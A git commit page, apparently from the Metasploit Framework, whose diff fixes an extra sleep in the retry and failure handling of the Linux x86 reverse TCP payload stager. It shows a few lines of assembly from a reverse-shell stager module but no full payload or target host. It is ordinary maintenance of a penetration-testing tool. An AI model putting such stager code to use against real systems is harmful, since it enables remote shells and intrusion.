Land #8848, fix extra sleep on linux x86 stager

bug/bundler_fix
Brent Cook 2017-08-19 22:12:19 -05:00
commit 6afd90b7f0
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
1 changed files with 3 additions and 3 deletions

View File

@ -123,6 +123,8 @@ module Payload::Linux::ReverseTcp_x86
jns mprotect
handle_failure:
dec esi
jz failed
push 0xa2
pop eax
push 0x#{sleep_nanoseconds.to_s(16)}
@ -131,9 +133,7 @@ module Payload::Linux::ReverseTcp_x86
xor ecx, ecx
int 0x80 ; sys_nanosleep
test eax, eax
js failed
dec esi
jnz create_socket
jns create_socket
jmp failed
^